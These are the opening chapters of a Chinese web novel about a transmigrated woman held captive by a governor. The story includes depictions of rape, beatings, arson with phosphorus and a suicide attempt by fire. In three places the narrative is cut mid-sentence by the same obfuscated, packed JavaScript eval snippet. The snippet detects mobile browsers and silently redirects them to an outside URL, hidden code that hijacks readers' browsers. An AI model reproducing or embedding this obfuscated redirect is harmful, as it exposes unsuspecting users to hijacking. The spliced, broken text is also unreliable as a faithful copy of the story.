《逃出金丝笼,我力挽山河开国称帝》 1. 第一章 浙直总督的园子是极好的,引一渠活水,沿水筑了曲桥水榭,再点缀二三太湖石,清幽又雅致。秋高气爽的时节,小丫鬟们都爱从水边过,就为沾染那一丝荫凉气息。 但这一日,她们刚踩上石桥,就有大丫鬟着急忙慌地迎面而来,俏脸扑着两团绯红。 “可走不得,”过来人摆手驱赶,“换条道吧。” 小丫鬟不解:“为何走不得?” 大丫鬟要开口,又不好意思,拿折扇挡着脸:“郎君在责罚人……可是你们这些姑娘家听不得、见不得的。” “郎君”姓宋,名钊,论出身可了不得,有个亲姑母在宫里为妃,自己又争气,十年苦读,得了进士出身。如今不过三旬之年,已是从一品总督,监管着从南直隶到两广沿海的富甲之地,端的惹人艳羡。 他自己生得也好,面如冠玉,目似寒星,平素又喜穿鹤氅,往这山水林石间一站,大有羽化登仙之感。 前提是,忽略他此时正在干的事。 他松了手,理着腰带,带扣上镶了红蓝宝石和白玉,恰组成一个“心”字。那腰带是极名贵的,系在权倾一方的浙直总督腰间不跌份,但他摁着的那女子很跌份,因为她穿着丫鬟的衣服,乌鸦鸦的好头发结作双鬟髻。 这要是叫宋钊的老祖母瞧见,非心痛地叫唤起来:钊哥,你是怎么想的?就我孙儿这人品相貌,哪样的高门贵女寻不到,偏要与这楚馆里出来的肮脏人厮混一处!哎呀呀,快离她远些,小心染了脏病! 但宋钊是不在乎的,神情反倒很享受,尤其当他低头看清那女子脸上未干的泪痕,还有咬出血的嘴角时,越发得了兴味。 “早这般柔顺听话,何必吃方才那番苦头?”他靥足了,伸手去掐女子下巴,“给爷瞧瞧,啧啧,怎么还咬出血了?” 女子脸一偏,避开她的手。 宋钊刚惩治了她一番,也不恼,好脾气地笑道:“你说说你,那东西没偷就没偷吧,跟爷好好分说不成吗?非要死犟,如今怎么着,你犟得过爷吗?” 他想起方才在这石桌之上胡天作地,心里热得很,伸手去逮那女子,对方却再次矮身躲过,飞快整理好凌乱的衣襟。 女子姓薛,单名一个殊字。自然,这名字宋钊是不认的,他初见她时,她还是秦淮河畔未梳拢的清倌人,说来宋总督也不是色迷心窍之辈,那晚不知怎的,被她一双清凌凌的眼勾了神魂,回过神时,已经一掷千金地将人买下。 哦对了,薛殊登台的花名叫香凝,宋钊也只认这个名。 “爷知道你心气大,但你看清楚,这里是总督府,可不比你那归家院,”宋钊冷笑,“日后安心跟着爷,自有你的好处,但若再存着异心,爷有的是法子炮制你。” 薛殊低着头,不知听见还是没听见。她总是这样,分明生了极可人的眉眼,却不愿做出婉媚风情讨人喜欢,不知道的见了她这模样,不是自己花了千金买她回来,而是自己欠了她几千两银子,活该给她当牛做马。 宋昭最恨她这样,每每下手越发狠辣,惟其如此才能从她嘴里听到一两声爱听的响动。 不过今日没机会了,他心里存着事,又见亲随在曲桥尽头候着,遂暂且饶过薛殊,大步走了过去。 “打听到了?” 亲随跟上他:“打听到了,船从刘家港过来,上头都是上好的云锦,回头跟藩商一倒手,便是上万两的油水都有。” “这姓吴的当真疯了,拿着上贡的云锦去跟藩商做生意,家小脑袋不要了?”宋钊冷哼一声,“我写封手令,你带人去拿了这姓吴的,货也都抄回来。” “郎君不可。” “为何?” “卑职在船上见到一人,若我没记错,那年跟着郎君往广东去,曾在佟和中佟总督身边见过。” 佟和中这个名字,苏浙之地听过得不多,往南去却是家喻户晓。毕竟两广之地级别最高的父母官就是两广总督,谁敢没听过衣食父母的大名? 能混到总督这位子,背景手腕必不会软,连宋钊都顿住脚步,深蹙眉头:“吴家走私,佟和中也掺了一手?” 亲随以为“掺了一手”并不准确,更确切的说法是,吴家吃小头,佟家吃大头,哪怕他们端了吴氏,也不过是弃本求末。 既禁不了走私,还凭空树下一个强敌,得不偿失。 “还望郎君三思。” 宋钊神色不豫,没说端也没说不端,这态度已然说明一切。 亲随跟他多年,心领神会地不再追问,岔开话题道:“潜入郎君书房的贼人可曾抓到?” 宋钊摸了摸下巴。 半日前,他书房里丢了一样极重要的东西,原以为是在房中伺候的侍妾所为——那女子也的确极不安分,还没被他带回府中,单是从金陵赶往宁波的一路上,就逃了两回。入府后又逃了两回,都被心有成算的宋总督抓了回来。 当然,她也为此付出极为惨痛的代价。头两回是挨鞭子,后两回…… 唔,如果大丫鬟在场,又要捂着脸作羞涩状:这不是姑娘家听得的东西,不可说不可说。 即便如此,宋钊也不认为薛殊有胆子当这个贼人,秦楼楚馆出身的女子,出逃已是极有胆气的壮举,如何敢插手这些家国大事? 何况,她也未必看得懂。 “那郎君还借口审问,责罚了香凝姑娘?” 责罚必是要责罚的,一则为她看顾书房不力,二来,将一个意气倔强的女子腰肢折断,摁于身下宛转呻吟,不也极得趣味? “严加审讯送信之人,”宋钊收回遐思,极冷峻地说,“他在这宁波城中定有同党,务必将人寻出。” “同党”沉默无言地回了自己房间,将门窗掩好,背了光线,自怀里取出一封皱巴巴的密信。 没错,宋钊翻遍书房也没找到,以为被贼人同党偷走的密信,是被薛殊藏起来的。 信不长,但内容很要命,因为这封信是一个名叫王永德的人写了。此人名声不显,却担着一个十分紧要的官职——辽东督粮官,整个辽东的粮草运输都压在他身上。 这封信是写给谁的暂不可考,反正官位应该在王永德之上,不然他信中语气不会这么曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849607|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意逢迎。抛去那些寒暄问候的废话、套话,信中主要说了一个事,就是他已按照座师吩咐,将辽东军的粮草运输线路透露出去,押运粮草的车队也意料之中地遭了劫,不知座师满意否?如果满意,学生的官位是不是可以提拔一二? 江南与辽东相隔千里,薛殊不知这位座师是何许人也,但她听过辽东大战,一场赢了,一场输了。赢的算是惨胜,伤亡不论,还赔上一个辽东总兵。输的彻底丧失了辽东战场主动权,都说辽东军里有奸细,否则战无不胜,镇守北境数十年的辽东铁骑,怎会莫名其妙丢盔弃甲? 因为这个缘故,辽东铁骑被朝廷打散了,小部分留守原籍,剩下一多半退伍回家吃自己的,还有些要紧的被严密监视起来。 这些原不是薛殊该知道的,宋钊也不会细细讲与她听,但她有心,从街头巷尾的闲谈中,楼中姑娘无所事事的聊天中,还有宋钊与亲随幕僚的议事中,将这些零零碎碎的信息搜集起来,一块一块拼凑成图。 她不确定信中提及的粮道指的是哪场战争,但她看着那泛黄的密信,从满纸洋洋洒洒的小楷中读出“冤情”二字。 * 信是有人交给宋钊的,那人被秘密关押起来,薛殊打听不到。 但她知道宋钊的打算,他想把信烧了,假装没这回事。 可能是因为信里提到的“座师”是个了不得的大人物,轻易得罪不起,也可能因为昔年打散辽东军的旨意,是当今天子亲自下达的。 总之,它被夹在那一摞待销毁的密件里,又被薛殊单独抽出。 她需要寻一个稳妥的地方,将它暂且藏起。 她的屋子不大,一座架子床,一张梅花桌,除此之外便是铁力木的柜子。薛殊很自然地打开柜门,眼前忽然亮起寒芒。 一把匕首抵住她的脖颈,短小锋利,镜子般映出她的面庞。她抬起头,和藏身柜中的男人看了个对眼。 男人藏在暗影里,一身黑衣几乎和影子融为一体。他脸上也蒙着黑巾,眼睛极冷,叫薛殊想起深夜秦淮河上,被月光照亮的起伏水面。 她不说话,男人也没动作,两人安静地僵持着,且看谁先沉不住气。 然而最先沉不住气的是门板,被大力敲动,震得嗡嗡作响。 “香凝姑娘,太太要见你。” 薛殊极轻细地挑了挑眉,男人看懂了她的眼色,那是隐晦的挑衅。 门敲得越来越疾,一声声仿佛催命。来押人的婆子不知屋里的险恶情形,只以为自家少爷从花楼里带回的女子犯怵心虚,不敢面见主母,越发语调尖利。 “咱们太太是个好性的,只见不得那些个不知礼数的浪荡蹄子。香凝姑娘,躲是躲不过去的,快着点吧。” 薛殊笑了笑,在婆子的刻薄言辞中,用两根手指抵住刀锋,将那柄短刃一分一分推远了。 她藏好密信,若无其事地掩紧柜门,方才走到门口。 “我听到了,”薛殊不动声色地说,“走吧。” 迈出门槛时,她没再看向那口藏了人的柜子,仿佛将里头的不速客遗忘了。 2. 第二章 宋太太姓沈,年过天命,据说跟本朝开国年间某位首富沾亲带故。 这是谣传,当不得真,但沈家家底确实殷实,当年帮着夫家暗中运作,贿赂了采选钦差和司礼监,将自家小妹运作进宫里,却是不争的事实。 因为这一桩,沈夫人自忖对宋家有功,而且功劳不小,行止坐卧皆要显露功臣的派头。得知儿子未经自己同意,从金陵楚馆带回一个风尘女子,既损长辈颜面,又伤功臣威望,她勃然大怒,命人将那“轻浮浪荡的小蹄子”带过来瞧一瞧。 就这么着,两个婆子一左一右,将薛殊押到正堂。 薛殊也懂事,知道自己在这些贵人眼里和那尘埃草芥差着不远,进屋后就安静跪下。她来得匆忙,不曾认真打扮,就穿着半新不旧的白绫袄,石绿比甲,竹绿百褶裙,不是什么夭桃艳李的打扮,架不住人家生得好,再素净的穿着也能叫人看出妖冶。 沈夫人就很不满意:“果然是个妖精,怪到能迷了钊哥儿。哼,你这副勾栏做派,哄得了旁人却哄不了我,真当我们宋家门槛是这么好进的吗?” 薛殊没吭声。 倒不是她牛心左性,不肯搭理人,实在是有些人非得有一分钟原谅她八百回的耐心才能把对话进行下去。薛殊自问没有圣人的涵养,为防一开口将堂上的贵妇人冲一跟头,只好当自己是哑巴。 哦对了,她的计时单位不是时辰,不是一炷香,而是分钟。 因为她并非大穆土著,而是个借壳上市的山寨货。 薛殊不知道自己是怎么来到这个时空的,仿佛是一场车祸,刺耳的摩擦声中,身体高高飞起。再一睁眼,人已到了秦淮河畔的画舫上,跟着乐师学琵琶。 往事不堪回首,想起来就恨不得冲到大街上,再制造一起车祸,最好能把自己撞回去。 当然,没有成功。 她在底下神游天外,被上首的沈夫人看在眼里,就是明目张胆的挑衅主母。 这位主母的性情,用后世某位文学巨匠的话说,就是天真烂漫,如何忍得下这浪荡蹄子的目中无人?当即将手边一盏茶水推到地上,起身怒道:“把这小蹄子拖去院里,跪在碎瓷片上!我倒要看看,她还敢不敢用那些下三滥的手段迷惑钊哥儿!” 薛殊不动声色,心里的小人对沈太太比了个中指。 管不了自己儿子,就拿受害者出气,真是柿子捡软的捏。 她被两个婆子拖进院里,一排碎瓷早已备下,棱角闪着锐利的光,像一排豁牙咧嘴的嘲笑。薛殊瞧这架势,就知今日难免受皮肉苦,但她想得开,腿上有伤,自然不能侍奉主子,她大可以此为借口躲进房里,免得对上宋钊那副令人作呕的嘴脸。 可躲得了今日,明日呢?后日呢? 她用“明天会更好”这个理由哄着自己,整整哄了三年,可再美妙的幻梦也有苏醒的一日。 到底还要熬多久?什么时候是个头? 薛殊无法给出答案,这时,两个婆子同时用力,押着她肩膀跪下。膝盖磕着碎瓷,自然是痛的,但她居然没什么感觉。 可能是过去三年来,吃得打骂苦楚太多,皮肉麻木了,也或许是比起宋钊大庭广众下的羞辱,这点皮肉苦已经不算什么。 这是她过去许多年挨打骂的经验,受罚时想点别的,就好像身体里有两个小人左右互搏,一个呆在原地苦熬刑罚,一个飘在头顶,用局外人的视角吐槽评判。 ……直到宋钊闯了进来。 宋大郎君贵为总督,自然有总督的脾气,今日沈夫人这一出叫他很不痛快。但不痛快归不痛快,上头那位是亲娘,是要捧在手心、供在头顶的,跪着的那个是他从风尘之地捞回的玩意儿,孰轻孰重,宋钊心里这笔帐清清楚楚。 他恭恭敬敬地行了礼,笑道:“几日不见母亲,气色越发好了。” 他进来先不问薛殊,让沈夫人的心气顺畅不少:“你少给我惹些腌臜债,我气色自然好。” 都是聪明人,宋钊不曾故作惊讶:“那一日在金陵赴宴,见这女子卖笑可怜,便买了回来,权当日行一善,却不知她如何冒犯了母亲?” 沈夫人没好气:“冒犯你娘的不是她,是你!亏你还是朝廷命官,大白天在那园子里干的好事……传出去有面子啊!” 宋钊干咳两声,没了言语。 “你素来是个有分寸的,母亲也不想多说你,”沈夫人叹了口气,“我知道,都是这小贱蹄子勾引的你。” “你非要留她在身边,母亲也不好拦着,但总得让她知道规矩,免得将那些勾栏做派带到咱们府里。” 宋钊没往心里去,或者说他打心眼里认为沈夫人说得对,若非不懂规矩,怎会一而再、再而三地想着逃走?又怎会对着主家也没一个笑脸? “母亲说的是,”他若无其事道,“母亲肯亲自教导规矩,原是这婢子的荣幸。” 薛殊在正院里跪了足足两个时辰,最后被允许起身时,两只膝盖已经麻木了。她拒绝了小丫鬟好心的搀扶,一瘸一拐回了自己屋里。 第一件事是关门拉窗,将门闩得严严实实。 第二件事是拉开柜门,果不其然,不请自来的那位已经悄然离去。 连带着她藏进柜子里的密信一起。 这证实了薛殊的猜想,世上贼人不下千百,所图无非财或利。要满足这两种需求,有的是豪门大户、富商巨贾,失心疯了才会把目标放在权倾一方的浙直总督头上。 唯有一种解释,这位梁上君子所图非财非利,而是某个……不太方便拿到台面上明说的目标。 好比那封看似轻飘飘,却沉重到每个字都透着血腥味的密信。 薛殊说不清为什么要多管闲事,明明她自己也是自身难保,非要给一个理由,大概是属于另一个时空的三观和记忆在蠢蠢作祟。 在那个时空,这种多管闲事的心思被称作“公德心”。 不多,但毕竟是有。 如今密信被带走,薛殊了了一桩心事,后面的她管不着也不想管,只安心寻思日后的出路。 当然,在宋钊看来,这连思都不用思,除了一门心思跟着他,如那些个后宅婢妾一样无所不用其极地谋取主家宠爱,为自己博个出身,她还有别的路可走吗? 薛殊想了又想,认为宋钊说得对。 宋氏家大业大,宋昭又贵为浙直总督,想在自己地盘上抓一个人,就像在搁浅的沙滩上捞螃蟹一样简单。除了安心留下,自此将荣辱性命托付给一个男人,她没别的活路。 但死路可以有。 人皆有向生畏死之心,薛殊也不例外。在打定主意前,她犹豫过,只是被半夜潜入房中的宋钊彻底打散。 就寝前,她记得她闩了门,锁了窗,按说不该有人进来,奈何古代门窗不比后世,撬棍撬得,手指捅得,当然最简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849608|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方式是一抬腿,直接将质量不过硬的门板踹开。 宋钊选择了最后也是最简单的方法,动静不可避免地惊醒了薛殊。她还没来得及起身,就被不请自来的宋总督摁回帐里。 “长本事了,敢把爷锁在门外?”他调笑道,“莫不是为着下午太太罚你的事跟爷置气?” 薛殊又开始分裂小人,飘在头顶的那一半默默数羊羔,看数到第几只跳过时能将讨人嫌的面孔熬走。 “太太原是好性,只是今日被你气得狠了,”宋钊在她下巴上勾了把,驾轻就熟地扯开腰带,“早叫你学个乖,就是不听,如何,膝盖伤得重吗?褪了亵裤给爷瞧瞧。” 薛殊飘在顶上静静看着,若是放在另一个时空,眼前这一幕是要打码的,可高清版并不能让她心满意足,因为底下那具被人翻来覆去的躯体是她自己的。 她不用动,不用说话,也不用表现出任何情愿或者不情愿的态度,只要足够乖顺地躺在那儿,像一件摆设或是一头听话的爱宠,就能让宋钊心满意足。 “娇儿,怎的不说话?爷就爱听你的声响,像白日里那样叫两声听听。” 他动作大了些,底下的行尸走肉果然有了动静。但飘在帐子里的薛殊无比清晰地想:这样的人生,什么时候是个头? 这样的活法,跟死了有什么区别? 她拼死拼活地学完九年义务制教育,躲过了高中分流,拼上了重点本科,好容易研究生毕业进了心仪的医院,那些读过的书、学过的道理,一个字一个字背下的“若为自由故,两者皆可抛”,难道都是喂了狗? 靠着那些句子,那些书本和道理,薛殊熬过了艰难的一晚。第二日天不亮,宋钊心满意足地出门,她躺在雨过天青的纱罗帐子里,盯着暗纹间一缕一缕不易察觉的银线,在那幽微的光里下定决心。 她不要当狗,她头悬梁锥刺股不是为了当狗的。 决心的时机是三日后,宋家老夫人的寿诞。今年生辰不一般,正好是七十整寿,人到七十古来稀,再如何大办特办都不为过。 宋钊待玩意儿无所谓,对自家亲祖母却要摆出个人样子,不仅置了寿宴,备了寿礼,还专程叫了戏班子给祖母助兴。 这戏班子可了不得,唱昆曲起家,台柱最拿手的是一出《游园惊梦》,嗓子一亮,直如穿云裂石。平时一个亮相,便有万千叫好,落在台上的金银锭子好似疾风骤雨。 她名气响,脾气就大,更有种种匪夷所思的规矩,比如喝茶必要三分烫,最好调些花露润嗓;比如头面戏服定要新做的,旁人用过,哪怕只一次半回,就算是云锦裁制、苏绣缝成,每一朵花蕊都点了南珠,那也是碰都不碰。 再比如,她上妆时不乐意有人在旁边,端茶送水的丫鬟女婢也不行。 于是上台前半个时辰,她对镜细细描了眉,画了眼线,正要扑腮红时,忽见铜镜里帘子晃了晃,一个低眉顺眼的身影端着托盘进来。 台柱恼了,将胭脂“啪”一下撂下:“你是哪家的婢子?怎么这般不懂规矩!” 那小女婢抬起头,十五六岁的年纪,眉眼已经长开,依稀可见精致轮廓。她抿了抿唇,似乎有些内疚:“对不住。” 台柱讶异。 但她很快明白了道歉的理由,因为镜子里的身影一跃而起,像头狩猎的母狼,迅雷不及掩耳地叼住猎物要害。 后颈炸开凉意,她晕了过去。 3. 第三章 这天是宋老太太最为荣耀的日子。 她是个慈眉善目的老人家,因为操心的事不多,两鬓已染成银丝,面庞仍如少女般细腻,不见一丝皱纹。她每天最大的快乐就是含饴弄孙,最烦心的忧愁就是宋家最拿的出手的宝贝大孙子什么时候成婚定亲。 “你也是,既发作了那浪蹄子,就该趁热打铁,一并打发了,”宋老太太小声抱怨儿媳妇,“留这么个祸害在家,没得带坏了钊哥儿,日后说亲也不好办。” 如今将近九月,暑气尽消,凉风暗生。按说团扇是不需要了,沈夫人却扇不离手,轻轻晃动,那扇面上金彩斑斓的绣纹便扑出一团霞光。 “母亲就放心吧,钊哥是什么人?他有分寸的,”她笑着劝慰,“他不过新鲜一阵,非把人赶出去才是讨他的嫌,越发舍不得撂手。” “倒不如随他去,等腻歪了,或是发卖,或是赶去庄上做活,也便宜。” 宋老太太细思是这个理,遂默许了,只叮咛道:“看紧了,可别叫那蹄子有了孕,孙媳妇儿没进门,倒有了庶长子,成什么话?” 这话提醒了沈夫人,回头使了个眼色:“让厨房送碗参汤过去,就说是我的意思,盯着那蹄子喝了。” 大丫鬟脆生生地应下,掉头跑了。沈夫人陪着宋老太太说了会儿闲话,今日客人多,容不得她们婆媳躲懒,尤其宋老太太身有诰命,穿戴了全套的行头,赶着去水阁陪客人说话看戏。 确切地说,是宋老太太高居主位,一边接受宾客们的奉承,一边施舍笑容作为回应,陪客人闲聊的工作是沈夫人的。 这当然很累,因为客人们来自不同的门庭、有着迥异的家世背景,她须得逐一甄别,记住对方的为人与好恶。若是家世不如宋家,须得格外小心,礼数不能有一丝错漏,免得传扬出去,被说成嫌贫爱富,狗眼看人低;家世与宋家相当的,须分清立场派系,若是同一派,那便拉着手,亲亲热热说几句话,即便是对头也不可轻慢,至少明面上不能叫人看出区别;还有几家累世勋贵,门庭贵重甚至压宋家一头,那更得小心款待,言语要仔细,态度要客气,最好不卑不亢,万万不能露出谄媚相,奉上的东西则要好里拔尖,以显示江南宋家也是有积累的豪门,不可轻易小瞧了去。 如此面面俱到,占去了沈夫人大部分心神,剩下一小半用来操心寿宴安排,何处迎客,何处更衣,女眷在何处听戏,男客于何处吃席,若有争执如何处理,下人手脚不干净又该怎么发落。 她一心不止八用,很自然将不久前派出去的贴身大丫鬟抛在脑后。 直到她扶着宋老太太起身,打算往水阁去时,那丫鬟匆匆跑了回来,面目竟然有点慌张。 “不好了,夫人,”总算她跟着沈夫人久了,知道轻重缓急,没敢嚷嚷得所有人都知晓,只附在沈夫人耳畔低声道,“那蹄子又不见了。” 一个“又”字,甚是意味深长。 沈夫人柳眉倒竖,银牙紧紧咬住。 * 仆婢失踪是后院事,属于沈夫人的工作范畴。但一来,她今日忙得很,分身乏术;二来,薛殊是宋钊带回来的,一向看得紧,旁人不好插手,她这个亲娘也不例外。 到最后,沈夫人也没多说什么,只叫丫鬟去告诉宋钊贴身的小厮,便与宋老太太一同进了水阁。 这里是总督府风景最好的所在,临着清池,倚着假山。池中搭了戏台,既避了人眼,那唱戏的声音被池水一荡,清凌凌的越发好听。 能被安排在这儿的都是贵客,需要沈夫人打叠精神,仔细应付。她寒暄一圈下来,自觉后背出了不少汗,精神也有些疲惫,遂向贴身丫鬟伸手要茶。 就这么一耽搁,戏台上已然换了一出戏码。 时人皆爱《还魂记》,称其为写情第一折,又是今日这台柱的拿手绝活,自然要好好唱上一出。但沈夫人不喜欢,瞧见那戏子浓妆艳抹地立于台上,便嫌她妖妖调调,大不成个体统。 但宾客们听得津津有味,她不好拂了人家兴致,遂叫唱完这一出再换便是。 只一恍神,台上的戏子换了曲调,不知从哪寻来一把琵琶,在那伪造的山石旁坐下,指尖调了弦,叮叮咚咚地拨转起来。 宾客们疑惑议论,这一出《游园惊梦》里有弹琵琶的桥段吗?没有吧?我记得是没有,莫不是新改了? 正犹疑间,那戏子微启檀口,唱了起来。 这当然不是《游园惊梦》,也不是《还魂记》中的任何一出,甚至不是戏剧曲目,讲的是一个贫家女儿误落风尘,被豪强霸占,一生困苦,最终以死相拼的故事。 故事框架不复杂,但以薛殊的水平,要现编这么一长串词曲委实强人所难了些。幸好这个时空没有版权一说,于是她樱口一张,毫不脸红地照搬了先贤。 前半段仿《圆圆曲》,“横塘双桨去如飞,何处豪家强载归?此际岂知非薄命,此时只有泪沾衣”,听得人扼腕叹息,与这小女子一同垂泪顿足。 中间照抄《窦娥冤》,“为善的受贫穷更命短,造恶的享富贵又寿延,天地也做得个怕硬欺软,却原来也这般顺水推船!”声声血,字字泪,若是手里有根长棍,非把天公捅出个透明窟窿。 最后借鉴的是《葬花吟》,你纵是强了我身又如何?“未若锦囊收艳骨,一抔净土掩风流。质本洁来还洁去,强于污淖陷渠沟。”身可死,气节不能折,这具皮囊任你处置,想我低头折腰,却是万万不能。 曲子很新鲜,迟钝些的听得津津有味,但也有耳聪目明的敞亮人,从“造恶的享富贵又寿延”开始觉出不对,遂住了闲聊,敛了笑容,茶盏端在手里纹丝不动,只凭一双眼睛与左邻右舍交流。 宋老太太就是这么个敞亮人,奈何反应慢了半拍,待得回过神,是天也骂了,花也葬了。她恼得握佛珠的手乱颤,声音也抖个不住:“这、这是哪来的轻狂人?存心跟我宋家过不去!” “哗”一下,那佛珠被扯断了线,羊脂玉琢磨的滚圆珠子扑簌簌掉了满地。 婢女们忙一拥而上,打扇的打扇,喂水的喂水,还有人为宋老太太抚胸口:“老太太别生气,气着自己可不值当。” 沈夫人刷的起身,指着那台上厉斥:“都是死人吗?还不将那狂妄轻浮的小蹄子给我拖下来!” 今日寿宴,水阁旁围了无数的婢女婆子,听了这声吩咐,当即击鼓传花地传下去。很快,几个孔武有力的家丁冲上戏台,伸手抓向那无缚鸡之力的弱女子。 弱女子倏然起身,将琵琶高举过头,“咣”一声砸得粉碎。巨响被水风裹挟,扑了水阁的贵妇人满脸,耳畔嗡嗡作响,仿佛被谁迎面扇了一耳光。 “宋钊满口仁义,实则无耻,强抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849609|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民女,逼良为妾,直与禽兽无异!”那女子张口怒骂,“如此人面兽心,人神共诛,天地不容!” “我纵生不能反抗,死后也要到阎王殿告上一状,你宋氏名为书香,却纵子辱人,合该绝了全族,满门皆诛!” 宋老太太刚缓过一点神,冷不防被这么恶毒的一句诅咒拍脑门上,不由得两眼翻白,又厥了过去。 那女子兀自拍手大笑:“报应!哈哈哈,你们看,报应来了!” 家丁们围了她,却被这女人疯疯癫癫的做派惊吓住,拿不准她是艺高人胆大还是真疯了。 稍一迟疑,四面八方突然传来惶急的呼喊声:“走水了!西院走水了!” “书房也是!” “还有正院!” 家丁们回过头,却什么也看不清,到处都是烟,到处都是雾,呛得人嗓子疼,熏得人睁不开眼。 烟熏火燎中,被他们围困住的小女子将头饰一掀,行头一脱,纵身跳进碧波粼粼的水池中。 * 投身入水,四面八方的惊呼声像是隔了一层,薛殊终于能静下心思复盘自己的布置。 火是她放的,她没有分身术,不可能在登台献艺的同时潜入各处院落,但她有一样顺手牵来的法宝。 这“法宝”是几个月前偶然得的,那一日是初十,城里有庙会,宋钊难得发了善心,许她出府逛逛。 街上遇到一个道士,声称自己有捉鬼之能,还当着看热闹的百姓面表演了一番——果然将一只飘着绿色鬼火的妖物装进镇妖葫芦。 百姓不明就里,只道是天师下凡,薛殊却经历了九年制义务教育,化学会考还拿了满分,一眼看出所谓的“鬼物”是磷粉伪装。 她费尽周折甩脱盯梢的护卫,在逼仄的小巷里堵住那道士,以拆穿伎俩为要挟,从他手里骗了一包磷粉。为此付出的代价不可谓不惨痛,宋钊以为她想逃走,下令将人摁在长条凳上赏了二十板子。 但薛殊认为值得,瞧,这不就派上用场了? 她当众揭露宋钊强抢民女之事,并不指望扳倒他,这是封建社会,不是社会主义新华夏,哪家不纳个妓、蓄个婢?除了传出去不好听,有损宋氏书礼门第的声誉,旁的还没有碰破那一层油皮严重。 她之所以这么做,除了下一下宋钊的脸面,为自己出口恶气,更重要的是将所有人——包括宾客和家丁的目光吸引过来。 所有人都盯着戏台,没人关心被下了磷粉的各处宅院,正午日头毒,磷粉遇热自燃,顺理成章地烧出一幕好戏,可比《还魂记》精彩多了。 等到家丁们发现起火,四处救火时,戏台的布防自然松懈,给薛殊逮到机会水遁逃脱。 园里的水不是死水,而是引活水入城,汇成这一池碧波。这就意味着只要水性好,她是可以沿着水道逃出总督府的。 这就是薛殊的谋算,有理有据,环环相扣。 她几乎成功了,水道尽头就是院墙,以她的身手,完全可以爬上墙边那株高过顶的香樟,神不知鬼不觉地翻出院落。 但她站住了脚,因为瞧见墙根下负手而立的熟悉身影,看似悠然闲适,其实从手指尖到头发丝都在细细颤抖。 被气得。 他也的确有理由生气。 毕竟不久前,他才被薛殊字句恶毒地骂了个狗血淋头。 4. 第四章 宋钊快气炸了。 他听小厮说薛殊不见了,就猜到她要利用寿宴闹事,只是没想到,闹出的事态这般大,这般不鸣则已一鸣惊人。但他毕竟是当总督的,精细敏锐非常人可比,各处走水时,旁人忙着救火,他却猜到是薛殊声东击西的障眼法,并且用最快的速度预判到她的出逃路线,早早等在此处。 他见着薛殊,有“你纵是孙猴子也逃不出如来佛祖手掌心”的自得,也有家养小雀竟敢偷袭主人的懊恼,诸般情绪涨涨跌跌,汇成一句:“闹够了就跟爷回去,你今儿个祸事闯得不小,夫人和老太太非扒了你的皮不可。” 薛殊站在原地,不动不说话。 宋钊上前一步,话转凌厉:“别让爷说第二遍!” 然后他想了想,不怒反笑,嘴角抿出暧昧的弧度:“不过,你要是喜欢这里,爷也不在乎。” 薛殊听懂了,也终于有了反应。那双总是没情绪没波动的眼睛变得很冷,然后低头用力:“啐!” 宋钊勃然大怒:“香凝!” 但薛殊比他更快:“宋钊,你该死!你们所有人都该死!” 这大概是薛殊入府以来说得最长的一句话,竟教宋钊愣住。没等他想明白是将这女子摁在床上拆了骨头,还是先毒打一顿再摁在床上拆了骨头,薛殊蓦地转身,一头扎进最近的建筑物。 那是一处供人歇脚的小楼,外表看着不甚起眼,里头同样有昂贵的花罗纱帘和铁力木家具。宋钊追着进了楼,只见薛殊劈手扯下帘帐,又从怀里摸出个小小竹筒,“哗啦”一下全倒在纱帐上。 宋钊瞳孔紧锁:“香凝,你疯了?快过来!” 他伸手去抓薛殊,然而那最后一点白磷经正午阳光照射,飞快腾起烟雾。火苗簌簌摇摆,欢欣鼓舞地吞噬了银线暗纹,只一晃就涨大许多倍,天堑般挡隔在主君和玩物之间。 宋钊惊怒至极:“香凝!” 薛殊将着火的纱帘往前一扔,逼退扑上来的宋钊。然后她后退两步,歪了歪头。 “他这辈子都不会记得我叫薛殊,”薛殊无比冷静地想,“不过幸好,我能作为‘薛殊’死去。” 她试过,逃过,拼力而为过,机关算尽却技不如人,虽然憾恨,但也能坦坦荡荡地认赌服输。 就让这噩梦般的一生被烈火终结,未尝不是一件幸事。 这是她呛入烟雾失去意识前的最后一个念头。 * 薛殊好像回到水里,黑暗潮水般漫来,温柔而不可抵挡地浸没了一切。 她没有挣扎,任凭自己被潮水裹挟,冲到哪里算哪里。偶尔和发着光的珊瑚礁擦身而过,她好奇地漂过去,看到“珊瑚礁”上浮现出画面,每一帧每一幕都是她。 